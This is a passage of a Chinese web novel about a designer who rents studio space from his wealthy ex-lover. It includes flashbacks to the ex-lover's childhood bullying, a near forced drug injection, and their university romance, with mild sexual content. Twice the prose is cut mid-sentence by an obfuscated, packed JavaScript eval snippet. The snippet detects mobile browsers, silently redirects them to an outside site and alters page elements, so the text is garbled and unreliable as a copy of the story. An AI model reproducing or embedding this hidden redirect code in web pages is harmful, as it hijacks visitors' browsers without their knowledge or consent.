冉步月已经想好了,要利用职权之便,把离凤凰树最近的那块地方隔出来,留给自己作办公室。 田小喆也挺喜欢,走到落地窗边问:“旁边那栋楼看着好新,是新建的吗?” “对,新建的。现在还没有公司入驻。”小赵补了一句,“但是非常抱歉,这栋楼暂不对外出租。” 冉步月点点头,估计是园区有什么别的规划。 其实这栋双层小楼本来也是不对外出租的,但大老板发下来的资料里赫然写着这个选项,并且极为详细地列出了各种优点,有些甚至是很私人化的。比如刚才的凤凰花,还有空间自由支配权大,距这里五十米就有一家广式糖水店之类的。资料之细节令人咋舌。 地产板块的大老板明里暗里传递出来的意思是,这位客人应该很难搞,但仍要迎难而上,攻坚克难,即使软磨硬泡撒泼打滚,也要尽全力把他拿到手! 两位客人在这里逛了挺久,问得很细,从水电铺设到租金细则,显然很有兴趣。 专业团队们情不自禁松了口气,有兴趣就有戏,本来以为上头直接派下来的任务会是块硬骨头,没想到人家谦和有礼,善于沟通,长得又漂亮养眼——即使要持久攻坚战也值了! 小赵笑吟吟地问:“咱们再去下一个地方?” 冉步月却没挪步,拍板道:“就这里吧。” 赵钱孙李:“?” 好突然。 “冉先生,剩下还有两套,您不看啦?” “不看了,就这里吧。” ……说好的持久战呢,说好的攻坚克难呢?紧急进修的撒泼打滚之术还没来得及使用呢! 十分钟后,他们看着冉步月在租房合同上签名,有种做梦的飘飘然感。 难以相信,丰厚的奖金就这样轻松地到手了,霸总小说的NPC也有春天! 冉步月抬头问:“还有别的地方要签名吗?” 小赵笑得龇出八颗大白牙:“没有了。这是您的钥匙,从现在开始,您就是这里的主人了。恭喜您!” 也恭喜我们获得奖金! 田小喆热泪盈眶:“老大,你的名片终于可以加上地址了!” 定下工作室的地点确实是座值得庆祝的里程碑,冉步月请田小喆大搓一顿,兴之所至多喝了几瓶啤酒,回到酒店时头有点晕。 确定了工作室的地点之后,很多事情都要提上日程,装修、确定团队,以及,也是时候给自己找一个住所了。 冉步月从包里掏出今天刚拿到的钥匙,还有签好的合同,上面好像还带着阳光的温热。 他呆呆地望着合同右上角的“砚川地产”logo,目光呆滞。 他也不知道自己为什么那么快就做出了决定,明明还有很多别的地产商,还有很多别的选项,他告诉自己要理智,却还是头脑发热地签了砚川,就好像屈服于命运一样。 脑中无法克制地浮现出游轮夜晚的场景,舒枕山在万花丛中从容自如的样子,扶着美女下楼的亲密模样,以及两人相携离去的倩影,显然是要去赴一场热烈春宵。 这也就罢了,行业大佬想睡谁睡谁,权力凌驾于一切,早已是世界默认的肮脏规则。 但冉步月借着酒劲试探了舒枕山两次。 一次刚摸上他的胳膊,就被舒枕山触电一样躲开了,另一次还没解开皮带,舒枕山直接变身无情道和尚,假装是游轮工作人员给田小喆打电话,要他来接喝醉的冉步月回家,就差念叨“阿弥陀佛,施主不可以”了。 要不是冉步月借着昏暗的灯光看到舒枕山硬i了,他简直要确诊舒枕山患上了养胃。 这足以证明舒枕山功能都是齐全的,只是讨厌自己。 都这样了,冉步月却还是上赶着租他家的房子,况且高高在上的舒总永远不会在乎一个不重要租户,这样莫名其妙自我感动的事情实在是毫无意义。 我挺犯贱的,冉步月自嘲地想。 不过话说回来,这可能是命运对冉步月的报应,他也认了。 刚和舒枕山开始的时候,冉步月并没有很认真,这是实话。 只是看他长得帅、身材好、体力好、跟自己聊得投机,偶尔上床释放一下压力,调和一下意见不合的冲突,当当炮友也就够了。 当然也或许是因为,舒枕山太像个地道的美国人,让冉步月直接把他划进了自己室友那类人里,所以压根没想过和他谈恋爱的可能性。 舒枕山家里很有钱,这件事不需要任何人告诉冉步月,从舒枕山的衣着、谈吐、习惯就能很轻易地看出来,他和冉步月生在两个世界。 在这个天才如云的世界顶尖学府里,不少学生是富豪们的子女,在街上随便抓一个学生,家里或许就坐拥几亿美元的资产。剩下的那部分人里,随便抓一个,或许就是未来诺贝尔奖的有力竞争者。这所学校里大部分人,要么是世代积累的精英,要么是横空出世的天才。 而冉步月是这里最罕见的那类普通人。靠着一点点才华,很多的运气,和被血泪托举着的痛苦,侥幸跨入了这所学校的大门。 常有各路大佬来学校里演讲或者开展活动,科学家、千亿巨头创始人、政客、传奇导演……那些常人只能在新闻里看到的人物,就这样出现在他们眼前。 而舒枕山,是在这种大场面里积极举手提问的人,角度犀利,大方自信,才思敏捷。大大小小的社交场合里他都如鱼得水,不论和多厉害的人物他都能聊上两句。 在普遍瞧不起亚洲人的环境里,舒枕山能让一众白人竞争者输得心服口服,成为机器人社团的领袖,领导团队、争取投资赞助、和教授和公司达成合作,足以证明他是优秀中的优秀。 冉步月从同实验室的好友艾子兰那里得知,舒枕山确实很小就在美国生活了,多的信息不知道,但艾子兰推测,肯定不会是很差的学校。 这样的校园风云人物,大概都和美剧里演的差不多,很受欢迎,约会对象众多,并被认为是强大的象征。 其实按道理来说,冉步月和这种耀眼的人连炮友都不会做,怪就怪他和舒枕山的相遇实在太隐秘深刻了。如果他们是在正式社交场合上相遇的,或许冉步月连话都不会和他讲。 被抓到偷用3D打印机后,舒枕山不仅没有骂他,还帮他用正确的材料又打印了一次。 等着东西被打印出来时候,舒枕山问他做的是什么? 冉步月最初并不想回答,于是舒枕山也不逼问,只是用中文随口跟他东扯西拉,聊波士顿的天气,聊downtown又开了一家难吃的中餐馆,说学校一年一度的砸钢琴日又要到了,要不要一起去凑热闹,捡几个琴键回来当纪念品? 舒枕山反跨坐在转椅上,下颌抵着椅背,两条长腿随意地伸开,刘海乱乱的,亲切得跟个邻家大哥哥似的。 刚开始冉步月话很少,到后面渐渐就多了起来。 等舒枕山把打印好的零件取回来,又问了一遍。 不知道是不是被这种靠谱哥哥般的气质蛊惑了,冉步月慢吞吞地打开模型,不太情愿地说:“好吧,我跟你讲讲。” “很不现实,但你不能嘲笑我。”冉步月板着小脸强调道。 舒枕山点头:“当然不会。我发誓。” 冉步月最后犹豫了一秒,还是讲了起来。 他想做的是一只金属手部外骨骼。 市面上的外骨骼主要用于创伤恢复或者残疾人辅助,但冉步月想做的更具科幻色彩——拥有自我意识的、可以变形的外骨骼。 大部分时间,它会像一只小动物一样陪伴主人,冉步月初步想法是像只长脚小蜘蛛,用来方便朝外骨骼进行变形。 小蜘蛛会讲话,会和主人进行沟通,可以每时每刻陪伴在主人身边,可以监测到主人的身体状态与心情,并及时地进行提醒与正向干预。 平时可以穿戴在身上,比如手环的形式。一旦检测到主人的心理状态有较大波动,并通过分析影像声音判断出主人处于危险,它就会自动盘上主人的手变成机械外骨骼,用来增加……增加防御力……还可以自动…报警…… 冉步月越说越小声,因为连他自己都知道,听起来太不切实际了。很中二,很幼稚,很可笑,简直是天方夜谭。 现实不是超级英雄电影,没人可以成为钢铁侠。 “算了。”冉步月暴躁地搓乱头发,“你就当什么都没听到吧,我就随便打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200443|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印着玩玩……” “守护灵?”舒枕山突然问。 冉步月:“什么?” “有点像守护灵,或者宝可梦?”舒枕山很快又否定自己,“唔,好吧,都不太像。它好像更像一个可以并肩作战的朋友,永远和你互相信任,无话不谈,可以让你变得更加强大。” “……”冉步月沉默了一阵,点了点头。 “是很有意义的想法啊,尤其对于小孩来说。”舒枕山说,“谁不想拥有一个属于自己的守护灵呢?” 说着,舒枕山下意识抬手,揉了揉冉步月的脑袋,帮他抚平刚刚被他自己搓得乱糟糟的毛。 冉步月缩了缩脖子,躲开舒枕山的手,又没有躲得太远,撅嘴道:“不是每个人都能有的。只有那些被欺负的、没朋友的、不开心的孩子可以拥有。因为其他孩子什么都不缺。” 他突然意识到自己好像说得太多了,对着这个刚认识几个小时的陌生人,分享了自己较为阴暗和冷酷的想法。 但舒枕山对他的想法表达了赞同:“这是当然的。守护灵只会守护善良的人,那些已经拥有一切的、坏心肠的小孩,他们只会滥用它,利用它来伤害更多人。” “虽然很可惜,这个世界的规则就是赢者通吃。被伤害的孩子,通常更难有机会接触到这类高科技;而那些肆无忌惮伤害别人的人,他们往往拥有更多的社会资源,有更多的金钱、渠道、和被庇护的特权,他们反而能优先获得高新科技的’守护灵’,而科技本身并不知道它们守护的是邪恶的灵魂,这是很让人遗憾的。” 舒枕山正经得像是在做演讲,但语气很真挚,“但如果有什么办法能改变哪怕一点这样的现状,我觉得都是很值得尝试的。” 这段话像一颗大陨石,坠入了冉步月心底深处平静的湖泊。 冉步月静默了很久,问:“如果回到你小时候,你会想要这样一个守护灵吗?” 这次换舒枕山沉默。 冉步月:“唔,抱歉,我不是有意冒犯......” “没事。”舒枕山说,“我觉得我是那种已经获得了一切的人,至少比大多数普通人拥有的多多了。” 他不好意思地笑了笑:“但小时候偶尔,我也希望自己能变得很强大。” 冉步月安静地听他说下去。 “这个地方,就差一点。”舒枕山卷起他左侧的袖子,指着微微突起的青色静脉血管。 舒枕山淡淡地说:“他们一群人曾经按着我,说要让我和他们一起「get high」。” 冉步月瞳孔猛地缩小,浑身冰凉。 “我都不知道针管里装着什么,他们说不是海/洛/因,而是一种新型的玩意,很安全。” 冉步月觉得自己连发声都很困难。 “他们都是高年级,还有一些从没在学校里见过的混混,人高马大,high起来之后劲也很大。他们四面八方地围着我,从后面锁着我,无数双手牢牢固定着我的胳膊,我反抗就往死了揍我……我那时想,如果我背后是一堵墙就好了,至少有一个方位不会伸出手来,让我可以更好地进行防御。” 冉步月感觉自己声音在抖:“那你后来是怎么逃脱的。” “我的运气很好,正好碰上警察巡逻。其实大部分时间他们也不怕警察,只是那天警车鸣笛的声音有点大。” 舒枕山笑得很轻松:“你问我需不需要守护灵,答案或许是不需要……我需要的只是一堵墙。” 大概是冉步月的脸色太苍白,反而变成舒枕山安慰他,说他只是运气比较差,碰上过几次很坏的人。但他生来就拥有的东西还是比太多人好太多了。 虽然他们没有做下约定,但他们都默契地为彼此保守了初遇这夜的秘密谈话。 后来冉步月在和其他人的谈话中,能敏锐地感受出,舒枕山并没有和任何人分享过他的这段经历,他永远是那个无时无刻不在闪光发亮的精英。 后来,舒枕山牺牲了很多本该用去社交、听讲座和提升个人声誉的机会,和冉步月窝在深夜的实验室里,研究他们的“秘密小宝贝”。 尽管从客观上来看,由于技术、法律、伦理等诸多方面的限制,这是一个根本不可能落地的项目,但舒枕山还是毫无悔意、并且充满激情地投身于这个“小宝贝”的孵化。那是一段忙碌但快乐的、充满阳光的日子。 冉步月曾经觉得,未来总有一天,总有一天他们可以以某种形式,达到他们理想化的目标。他也曾经觉得,舒枕山确实是手握一切的那些“天龙人”里,为数不多清楚地知道自己拥有的一切,并且不滥用权力的人。 舒枕山最后还是退出了他们的二人小组,伴随着其他的事情,令冉步月感到非常疲倦,在那个时间点,无论如何也无法再和他继续下去。 六年后的今天回首,当时的一切困难或许都不是那么难以克服,但那个时间点过去就是过去了。 而事实证明,不论舒枕山走到何处,他也始终没变。 冉步月出于研究市场的需要,这些年来一直没有落下对砚川集团的关注。 砚川集团在舒枕山的带领下起死回生,实现营收增长的同时,从未落下对社会的慈善回馈。尽管这是很多企业家都热衷做的事情,但舒枕山做得更低调,更有诚意很多。 再来是对底层员工利益的保障,不拖欠工资,保证休假产假,按标准赔付工伤……这些看起来都应该是企业底线、却在现实成为稀缺的事,被舒枕山默默地落实得很好。不营销不求表扬,他只落到实处。 如果他不是这样的人,冉步月或许就不会回国了。 现在舒总唯一的缺点,大概就是情人太多,不知道在冉步月没看到的地方,他还带多少美女帅哥坐过他的迈巴赫。 好吧,这也不能算什么缺点,日理万机的集团总裁,繁忙工作之余,你情我愿地进行一些安全性行为也无可厚非。 冉步月对舒枕山早已失去心动,他只是认可舒枕山的人品和床品,现在他又正好缺一个马力强劲的人形电动机。 他很挑嘴,好不容易吃惯一家餐厅,315也没查出什么问题,所以想当回头客,这很合理。 事不过三,冉步月决定最后再试一次。 舒总那么多食客,多我一个怎么了? 16.小号对轰 “你真要转行当男模了?”郝乐震撼地问。 舒枕山保持着哑铃卧推的频率,侧过头来看他,发了个单音:“嗯。” 郝乐在满地健身器械间左右横跳,艰难地跳到舒枕山旁边:“我就说总裁办公室怎么改成健身房了,诶你别砸着我脚!那个,Patti女士……” 舒枕山放下哑铃,紧身短袖裹着起伏的胸肌:“别叫,我提前让伍叔给你做豉油鸡了。” “天哪。”郝乐吓了一跳,受宠若惊,“阿枕,你突然好通人性。” 舒枕山面无表情地把微信聊天记录调出来怼到他面前。 仅上周,郝乐发送了“豉油鸡”47次,“伍叔”26次,“伍叔什么时候放假回来”39次,“啊啊啊”若干,“我要吃鸡”表情包若干。 郝乐:“都是我家金丝熊发的。” Patti笑眯眯端来一盆油亮水滑的豉油鸡:“郝总,请用。” 郝乐转瞬乐开花,埋头就炫,不一会儿鸡骨头就堆成了一座小塔。 舒枕山换了个配重开始做二头弯举。郝乐鼓着腮帮子嚼嚼:“我看你不是要当男模……你…吧唧吧唧……是打算下海了吧?” “某些只吃不练的人,下海连跳浪空翻都做不到。”舒枕山平淡地攻击。 郝乐因反射弧太长而无伤防御,如梦初醒:“噢!你是在准备下个月的科技峰会演讲?” 舒枕山挑眉:“嗯哼。” “……妈啊。”郝乐再次被惊到后撤步,“舒枕山,你怎么心情这么好,吃兴奋剂了?” 不能说没吃。舒枕山的抽屉里躺着一份新鲜出炉的科技园租赁合同,上面有整整8个冉步月的亲笔签名和公章。 这意味着两件事,其一,冉步月会在他的科技园里开工作室;其二,冉步月拒绝了李曜的聘请;其三,未来他们的办公地点直线距离不超过五百米。 租房合同上方压着另外一份合同,是终于修改完毕的合作方案定稿,空缺许久的乙方填上了“ROAM工业设计有限公司”。 在下个月的香港科技峰会上,舒枕山将会以砚川科技执行董事的身份出席,公开分享砚川在机器人领域的投资成果与深耕计划。这也将是砚川集团首次参与科技盛会。 想到不久之后,这封邀请函就会送到冉步月的工作邮箱里,舒枕山反而有些心慌。 他不确定冉步月会不会接受这封邀请,甚至很有可能拒绝。 毕竟当初是自己先放弃了他们的理想,冉步月好像没有理由欢迎一个叛逃者的归来。 或许与合作比起来,上床的成功率更大一点。 舒枕山做完最后一组,将哑铃收好。 郝乐正在细细品味最后一条鸡腿,生怕啃漏了一条肉丝,好奇道:“咦,那你也要开始组团队了吧?我知道你已经搞定了几个教授和PhD,纯技术有了,首席设计师呢?” 舒枕山:“没定。” 郝乐:“我说这话你又要不爱听,但是阿冉真的很厉害的。你真不考虑一下?” 舒枕山:“不考虑。” 郝乐:“……小肚鸡肠!固执己见!不可理喻!” 舒枕山淡道:“除非他用才华打动我。” 郝乐:“到时候他帮你赚的钱能买一千万套你那个破礼服!” 舒枕山:“我会公开招募设计师团队,希望届时他会报名。” 郝乐恶狠狠地说:“我要阻止他报名,告诉他砚川的老板是个冷酷无情十恶不赦的大坏蛋。” 舒枕山扬声:“Patti,把郝总的盆子收了。” 郝乐立刻面露惊恐,紧紧抱住只剩下半条鸡腿的饭盆,滑跪求饶:“我不不不说,我一定在阿冉面前多美言你几句,夸你温柔善良贤惠上天入地独此一份……能不能继续让伍叔给我做鸡?” 舒枕山青筋跳了跳:“滚出去。” 郝乐滚出去之前还抱着大盆子,朝舒枕山晃了晃手机:“伍叔下次有档期的时候,你一定要记得叫——我——啊——!” 看到和郝乐的聊天记录舒枕山就头疼,他永远占用了最多的内存,因为这厮把舒枕山当美食笔记本,成天发那些他在各种山卡拉里吃到的美食,一发就是二十张图片加十个视频。上一个视频里鸡还在雄赳赳气昂昂呢,下一个视频里就变得金灿灿香喷喷了。 与此相对的,别说冉步月的私人微信号了,舒枕山连冉步月的私人手机号都还没有。 继续这样下去,两个目标一个都完不成。 舒总向来雷厉风行,绝不会在被动的等待中错失机遇,他要什么就会亲手去夺,还要潇洒狠辣,帅气逼人! 十分钟后,田小喆的手机“叮”地一响。 “老大老大,你帮我看看消息,是不是木工师傅到了?”田小喆端着一碗酸辣粉吸溜得正欢,扭腰翘起胯,姿态妖娆地示意冉步月去拿他裤兜里的手机。 冉步月抽出手机,不是短信,而是邮件。邮件后缀让他眼皮一跳,点开了。 邮件是舒枕山的总助发的,她介绍自己叫Patti。全文措辞非常礼貌和官方:关于之前西装账单的清洗费,由于干洗店出了一些技术故障,需要更多时间制定具体清洗计划,没法马上给出明确单据。为了今后沟通更方便,Patti问能不能加一下冉先生助理的工作微信。 语气之卑微,措辞之礼貌,让人怀疑他们才是欠债的那一方。 “……”冉步月简直无语,集团总裁私人干洗店的效率怎么能差成这个样子? 田小喆像只仓鼠:“老大,是木工师傅吗?” “不是。你把你的……” 冉步月突然顿住。 如果付完这笔钱,冉步月和舒枕山好像就彻底没有关系了。他开他的设计工作室,舒枕山继续打造他的娱乐商业地产帝国,两人八杆子打不着边。 真照这样下去,别说食用,恐怕摸都摸不着了。 田小喆咬一口虎皮鸡蛋:“我的什么?” “没什么。”冉步月说,“我看错了,这是垃圾邮件。” 田小喆边嗦粉边叹气,唉这年头,诈骗短信垃圾邮件比广东夏天的蟑螂都多…… 冉步月淡定地注册了一个新的空白微信号,写进了给Patti的回信里。 他将昵称改成“AAA-ROAM小助理小吉吉”,随便在网上搜索了一个“高级商务男士头像”换上,朋友圈设置三天可见,朋友圈背景改成“我在ROAM很想你”,在网上搜索“热门唯美微信签名”,随便挑了一个挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223587|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上“热爱可抵岁月漫长”,大功告成。 ——这是冉步月在国外几年,对微信礼仪的毕生所学。 不多时,Patti的好友邀请发来了。 不愧是大集团的总助,头像看上去非常专业,长发女子穿着剪裁合身的职业装,戴着一副无框眼镜,活脱脱一个知性温柔大美女,昵称是简洁的Patti_Chen,朋友圈背景图片是砚川集团的大厦,个性签名写着“我与我周旋久,宁做我”,朋友圈空空如也,内容三天可见。 哈,还挺有文化和个性的。 Patti先打招呼:“Hi,田先生您好。” 冉步月:“Patti姐好。” Patti客套地表示了一下歉意,说舒先生当时向冉先生承诺了三星期内给他发账单,但是因为不可抗力因素,约定时间内应该是发不出来了,他们为此感到非常抱歉。 “……” 他们明明是债主,为什么态度如此客气?真是体面人,让冉步月怪不好意思的。 冉步月对舒枕山总是没什么好脸色,嘴上带刺,想故意勾他、气他。 面对他素未谋面的下属时,冉步月却反而更想吐露真心……真奇怪。 “小助理小吉吉”说:Patti姐不必道歉,本来就是我老板有错在先。 冉步月犹豫再三,还是打出一行字:“舒总什么时候有空?冉工想请他吃个饭,当面说声对不起。” 对话框上立刻显示出“正在输入中”,Patti输入了一会儿停了,最后发过来句:“好的,我先找舒总确认一下他的行程。” 冉步月:行。 网线对面,舒枕山正在翻自己的行程安排。 感性上说越早越好,但理性告诉他这不是最好的时机,机会仅有一次。 至少要在公布了机器人计划后他才能开始正式招募团队,也就是在科技峰会演讲结束后他才能给冉步月发出邀请邮件,冉步月有可能拒绝他的邀请。 如果冉步月拒绝,舒枕山可以利用这顿“赔罪饭”的机会,当面再争取一次。所以这顿饭的时间要在峰会之后。 而科技峰会当晚,舒枕山在香港有另一个推不开的局,那么最早的时间就是第二天中午。 舒枕山打字:“刚刚和舒总确认好了,他下个月xx号之后都可以。” 冉步月掐指一算,正好是科技峰会后一天,那行。 数了二十秒,冉步月回道:“问了老板,他说xx号那天就行。” Patti:“好的。” 吉吉:“谢谢Patti姐^^” 过了一会儿,沉寂的对话框又亮起来。 吉吉:“对了Patti姐,我能不能偷偷打听个事?” Patti:“你问。” 吉吉:“舒总衣服被弄坏了,他很生气吗?” Patti:“……为什么问这个?” 吉吉:“我老板觉得很抱歉,弄脏了舒总很重要的礼服。” 吉吉:“很重要,所以舒总才很生气。” Patti沉默了很久才道:“不是,那只是一件普通衣服。” Patti:“我猜,他是生气有人喝太多酒,非要把自己喝到吐。” 17.冷战热战 舒枕山从小就不善于和人吐露心声,确切来说,很长一段时间他是完全封闭的。 小学二年级,舒枕山被父亲送来美国念书,学校在一个以前从未听过的中西部城市,全校只有他一个中国学生,舒枕山瞬间成了“抢手货”。 无聊校园生活里最大的乐子无非是来了一个大家可以随心所欲玩弄的受气包,一个连英语都讲不清楚的黑眼睛黑头发小孩,在本地毫无权势,可以随意戏弄他,这可比挑衅红鼻子酒鬼老师有意思多了。 同班同学模仿舒枕山的口音,用奇怪的发音喊他的中文名,给他取绰号——这已经是最温和的家常便饭。 因为这片区域在十九世纪曾经爆发过黄热病,他们就喊舒枕山“yellow fever”,在课余时间玩一个叫“攻打病毒”的游戏,高年级学生领头,低年级小孩们像食腐秃鹫,找机会进来补两脚,酒鬼老师甚至会远远地悠闲围观。最严重的一次,舒枕山口鼻流出的血染红了一桶水。 家里只派了一个不会讲英语的保姆跟着他,附近街区很乱,帮派林立,可以合法持枪,枪击案时常发生。五年级时,舒枕山提着从超市采购的食物在街上走,突然感到袋子被一股巨力撕扯,腿上一痛,炸开的番茄罐头糊了他满腿,红色的番茄肉往下淌。舒枕山不记得自己是怎么跑回家里的,只记得死死关紧门后久久无法平复的剧烈心跳,还有耳边始终挥之不去的枪声。 最开始舒枕山毫无反手之力,但他学得很快,打过他的人他一定要想办法揍回去,打得鼻青脸肿也没事,总有一天能揍赢,打架的野路子都是在小学里练成的。舒枕山长得也很快,没过几年就变成了快一米七的大高个,即使放在白种同龄人堆里也很出众。进入高年级之后,渐渐没人再敢惹他。 那时舒枕山没有任何和人沟通的欲望,他像一个很坚固的金属罐子,将内部的气体不断地加压、压缩、紧紧地密闭。所有的一切,都是他咬紧牙关默默拼出来的。 舒枕山凭借优异的成绩和运动天赋,进入了一所私立初中。家里虽然没有给他别的支持,钱倒是给的够。 每个年龄阶段的挑战都不一样,越高等的学校,等级悬殊带来的压迫就越是隐形的,很多时候连施压者自己都没有意识到。同学们大多来自优渥的家庭,彬彬有礼、热情阳光,但他们在背后谈论的、做的事情,并不如表面上看起来那样高贵无瑕。 比起简单粗暴的围殴,这样的暴力更像绵密无形的针,扎进心里。 再到后来,身边的同学染上药瘾,差点拖着舒枕山一起。 舒枕山时常觉得,从小到大,他经历过的随便一件事拿出来都足以置他于死地,但他竟然顽强地活了下来。 小时候舒枕山天真地以为这是家里在磨练他,每年春节回家,父亲都不在家,各种理由在外面忙。舒枕山回家先给母亲上香,然后去拜访二伯三伯,只有他们欢迎舒枕山回家,送他各种奢侈品和古董,给他富家公子该有的宠溺和待遇,尽管舒枕山小小年纪便早已不在乎这些满足虚荣心的东西。 二伯三伯也问过舒枕山,要不要回来国内念书,和堂弟们一起上国际学校,舒枕山知道这将是非常舒服的日子,但大概是出于对父亲的挑衅,舒枕山拒绝了。父亲越折磨自己,舒枕山越要证明自己在哪都能过得好,狠狠打他的脸。 后来舒枕山几年才回一次家,身为集团长子长年在国外,远离权力中心,完全没有显露出继任的打算,父亲在信息中表达过几次不满,但也没有多加劝阻,就由着他去了。 高中的舒枕山蜕变很快,变得自信、亲和、耀眼,身材挺拔强悍,兼有男人的成熟与少年的嚣张。 他就像一块将自己层层包裹起来的岩石,他先堆砌自己,再打磨自己,变成宝石,变成雕塑,但他从未向任何人展示内芯。 直到他遇到冉步月。 舒枕山也说不清为什么在遇到冉步月的第一夜就朝他吐露心声,这不是自己的作风。或许是因为冉步月构想的“小蜘蛛”外骨骼也正是他童年时隐隐希望得到的。 希望能变强,希望有人能懂他。 舒枕山和冉步月聊很多天,吵很多架,上很多床,却很少谈情说爱。 舒枕山从小到大没被人爱过,于是也没见过爱的样子。只是想和他一直待在一起,肌肤相亲,永不分离,这算什么? 高中和大学时期,舒枕山也收到过示爱,大约分两类:含蓄的玫瑰、或直白的睡觉邀请,全都让他提不起兴趣。 而显然冉步月也同样不擅长谈情说爱,即使是在确定关系之后,他们的恋爱也谈得很笨拙。 谈恋爱到底要做什么?他们不知道。 他们鲜少像普通情侣那样有聊不完的废话,聊两句亲一口聊两句亲一口,对他们来说简直太不可思议。 大量的时间被花在研究课题上,他们经常开个会,吵一架,干一夜,往复循环——好像和确定关系前也没什么不同。 后来,舒枕山才逐渐地发现这样不行,至少他不能带着冉步月一起疯。 因为冉步月一工作起来就像个旋转莲花生日蜡烛,不吃不喝不睡,不烧到彻底报废誓不罢休。 有天夜晚在床上时,舒枕山惊惶地发现,冉步月的腰真的只有自己两掌宽,两手一圈就能圈紧。 他什么时候开始变得这么瘦的?和自己体型的差距简直到了惨烈的地步。如果有人撞见他们的现场,恐怕会立刻举报给学校说舒枕山涉嫌凌虐。 冉步月把舒枕山的上衣丢到一边,狠狠咬了一口他胸肌,犬齿留下两枚深深的圆形小牙印,泄愤道:“Shu,你太固执了,精度是永远细化不完的,你预设的目标远远超出了商业需求……” 舒枕山扶在他腰间的手指稍微用了点力,轻易摸到上方突出的肋骨,骨头外面就裹着一层细腻的皮肤,连点肉都没有。 “快点吧。”冉步月不耐烦地抬腿勾住舒枕山的腰,仰起脸,眼中漾起一小片欲望,像夜晚的海。 “上次我没晕,你输了。今天继续赌?” 上次——上次什么来着?舒枕山用指尖一下下按压摩擦他的皮肤,终于想起他们上次那个滑稽的赌约。 他们因为一个传感器电路设计细节吵得不可开交,战火自然而然地蔓延到当晚的床上。 舒枕山觉得显然自己的方案更胜一筹,这是显然的事!但他讲得口干舌燥也无法说服这个死犟死犟的小孩。舒枕山丧失理智地说,如果今晚我把你干\晕了,你就得听我的。 完全是不经脑子的浑话,冉步月却立刻说好,你来啊,你干啊!眼神挑衅。 上次舒枕山是真的心里憋着气,下手没轻没重的,两人缠斗大半宿,冉步月硬是撑着一口气到了最后。舒枕山把他抱去浴室,冉步月趴在舒枕山胸膛上,搂着他的脖子,迷迷糊糊地说:“我…赢……了……你要…按我的…电路……来……”说完下一秒就陷入了深眠。 这小屁孩肯定是尝到了甜头,坚信舒枕山没实力把他干\晕,于是这次的态度相当嚣张。 舒枕山回忆了一下冉步月今天都吃过什么东西,早上一杯奶昔,中午一碗草,晚上舒枕山给他带了煎牛排,冉步月随便咬了两口就赶着去上tutorial了,一下课回来又正好赶上大家在头脑风暴,他直接加入战场。最后牛排冰凉凉的像一块砖头,冉步月挑食不吃,只好全进了舒枕山的肚子。 舒枕山说:“今天不赌。” 冉步月不爽地坐起来:“啊?为什么?” 还为什么?当然是因为就你每天摄入的那点能量,不用干你都能晕过去。 冉步月瞟了眼舒枕山腿间,稀奇道:“你也不是不行啊……难不成……?” 他的脸色有些古怪,皱起眉,严肃地问舒枕山:“你不会想放水吧,你打算直接屈服于我的方案?” 舒枕山:“………” “那不行。”冉步月正色道,“我们要有体育精神。” 舒枕山:“?” 冉步月迟疑道:“唔,或者你想先打两局友谊赛?” 舒枕山二话不说,直接把冉步月两条纤细的手臂拎了起来,手腕交叉。冉步月耳尖突然潮红:“玩这么禁忌的吗。” 接着就被舒枕山套上了他的卫衣,像套麻袋一样。 五分钟后,两人从□□变成穿戴整齐,坐在床上大眼瞪小眼。 看冉步月的表情,他应该是正在酝酿一场段话,打算从生理、心理、环境等多个方面分析舒枕山的性能力正在走下坡路这件事。 舒枕山摸了摸冉步月的头顶,淡然地说:“我们不做了。” 冉步月如竹筒倒豆子:“鉴于你还不到22岁,患有荷尔蒙失衡和慢性疾病的概率不大,据我的观察你的心理状态也很健康,不太存在焦虑压力和自尊心的问题,但你的生活方式……” 舒枕山双手叉着冉步月腋下,像抱猫一样把他拎到了体重秤上。 121磅,约等于55公斤。 “你什么时候长到60公斤,我们再做。”舒枕山指着体重秤上那个远远低于标准体重的数值。 冉步月:“……” 从那天起,舒枕山开始严格管控冉步月的一日三餐,保证他摄入的能量一定要达到要求。 这是一件比舒枕山想象中更困难的事情。 舒枕山这才发现,冉步月不爱吃饭,不管是从学校食堂买的套餐,还是从高级餐厅订的菜品,冉步月吃它们都像老牛嚼草,慢腾腾平淡淡的,嘴都懒得张开,而且吃两口就忘记继续吃了。舒枕山气呼呼地拎着饭盒跑大半个学校,追上冉步月,盯着他愁眉苦脸狼吞虎咽扒拉完,才大手一挥放他去上课。 后来舒枕山改变了策略,不从外头买,转而亲自下厨。 统计学的魅力便在此刻显现出来了,舒枕山根据平时冉步月对食物的喜爱程度,绘制了一份图,大致呈现右偏高斯分布。一些奇怪的香料和原材料高居偏爱榜首。 在厨房搞了三天封闭测试后,舒枕山端出来了一份土豆炖排骨,土豆换成生姜版。 冉步月看这泾渭分明的卖相,不忍心地问了句:“……你做的?” 舒枕山命令:“你先吃。” 冉步月小心翼翼吃了一块,眼睛睁大,语气180度大拐弯,欣喜地问:“你做的?!” “是的。”舒枕山松了口气,同时,又叹了口气—— 我老婆是异食癖。 这也就算了,更令人难受的是,我居然隔了这么久才发现他是异食癖。 后来舒枕山包了冉步月的饭,每天定时检查他长肉没有,总算将冉步月刁钻的口味摸得清清楚楚。 